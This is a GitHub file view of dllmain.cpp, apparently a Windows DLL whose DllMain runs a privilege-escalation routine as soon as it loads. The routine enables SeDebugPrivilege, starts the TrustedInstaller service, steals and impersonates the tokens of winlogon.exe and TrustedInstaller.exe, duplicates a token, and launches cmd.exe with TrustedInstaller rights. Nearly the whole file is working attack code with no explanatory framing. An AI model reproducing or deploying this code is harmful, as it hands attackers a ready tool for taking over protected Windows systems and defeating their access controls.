-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathdllmain.cpp
314 lines (263 loc) · 8.77 KB
/
dllmain.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
#include "stdio.h"
#include "windows.h"
#include <Urlmon.h>
#include <windows.h>
#include <iostream>
#include <cstdio>
#include <tlhelp32.h>
#include <Lmcons.h>
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
//system("cmd.exe /c whoami");
//WinExec("cmd.exe", 5);
return username_s;
}
BOOL StartTrustedInstallerService() {
// Get a handle to the SCM database.
SC_HANDLE schSCManager = OpenSCManager(
NULL, // local computer
NULL, // servicesActive database
SC_MANAGER_ALL_ACCESS); // full access rights
if (NULL == schSCManager)
{
printf("[-] OpenSCManager failed (%d)\n", GetLastError());
return FALSE;
}
printf("[+] OpenSCManager success!\n");
// Get a handle to the service.
SC_HANDLE schService = OpenService(
schSCManager, // SCM database
L"TrustedInstaller", // name of service
SERVICE_START); // full access
if (schService == NULL)
{
printf("[-] OpenService failed (%d)\n", GetLastError());
CloseServiceHandle(schSCManager);
return FALSE;
}
// Attempt to start the service.
if (!StartService(
schService, // handle to service
0, // number of arguments
NULL)) // no arguments
{
printf("[-] StartService failed (%d)\n", GetLastError());
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return FALSE;
}
Sleep(2000);
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return TRUE;
}
int GetProcessByName(PCWSTR name)
{
DWORD pid = 0;
// Create toolhelp snapshot.
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process;
ZeroMemory(&process, sizeof(process));
process.dwSize = sizeof(process);
// Walkthrough all processes.
if (Process32First(snapshot, &process))
{
do
{
// Compare process.szExeFile based on format of name, i.e., trim file path
// trim .exe if necessary, etc.
if (wcscmp(process.szExeFile, name) == 0)
{
return process.th32ProcessID;
}
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return NULL;
}
void m_main()
{
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
// Add SE debug privilege
HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!\n");
}
// Starting TI service from SC Manager
if (StartTrustedInstallerService())
printf("[+] TrustedInstaller Service Started!\n");
else {
exit(1);
}
// Print whoami to compare to thread later
printf("[+] Current user is: %s\n", (get_username()).c_str());
// Searching for Winlogon PID
DWORD PID_TO_IMPERSONATE = GetProcessByName(L"winlogon.exe");
if (PID_TO_IMPERSONATE == NULL) {
printf("[-] Winlogon process not found\n");
exit(1);
}
else
printf("[+] Winlogon process found!\n");
// Searching for TrustedInstaller PID
DWORD PID_TO_IMPERSONATE_TI = GetProcessByName(L"TrustedInstaller.exe");
if (PID_TO_IMPERSONATE_TI == NULL) {
printf("[-] TrustedInstaller process not found\n");
exit(1);
}
else
printf("[+] TrustedInstaller process found!\n");
// Call OpenProcess() to open WINLOGON, print return code and error code
HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] WINLOGON OpenProcess() success!\n");
else
{
printf("[-] WINLOGON OpenProcess() Return Code: %i\n", processHandle);
printf("[-] WINLOGON OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] WINLOGON OpenProcessToken() success!\n");
else
{
printf("[-] WINLOGON OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] WINLOGON OpenProcessToken() Error: %i\n", GetLastError());
}
// Impersonate user in a thread
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] WINLOGON ImpersonatedLoggedOnUser() success!\n");
printf("[+] WINLOGON Current user is: %s\n", (get_username()).c_str());
}
else
{
printf("[-] WINLOGON ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] WINLOGON ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}
// Closing not necessary handles
CloseHandle(processHandle);
CloseHandle(tokenHandle);
// Call OpenProcess() to open TRUSTEDINSTALLER, print return code and error code
processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE_TI);
if (GetLastError() == NULL)
printf("[+] TRUSTEDINSTALLER OpenProcess() success!\n");
else
{
printf("[-] TRUSTEDINSTALLER OpenProcess() Return Code: %i\n", processHandle);
printf("[-] TRUSTEDINSTALLER OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] TRUSTEDINSTALLER OpenProcessToken() success!\n");
else
{
printf("[-] TRUSTEDINSTALLER OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] TRUSTEDINSTALLER OpenProcessToken() Error: %i\n", GetLastError());
}
// Impersonate user in a thread
impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] TRUSTEDINSTALLER ImpersonatedLoggedOnUser() success!\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());
}
else
{
printf("[-] TRUSTEDINSTALLER ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] TRUSTEDINSTALLER ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
// Call CreateProcessWithTokenW(), print return code and error code
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
getchar();
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
m_main();
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
MessageBox(nullptr, L"success", L"test", MB_OK);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}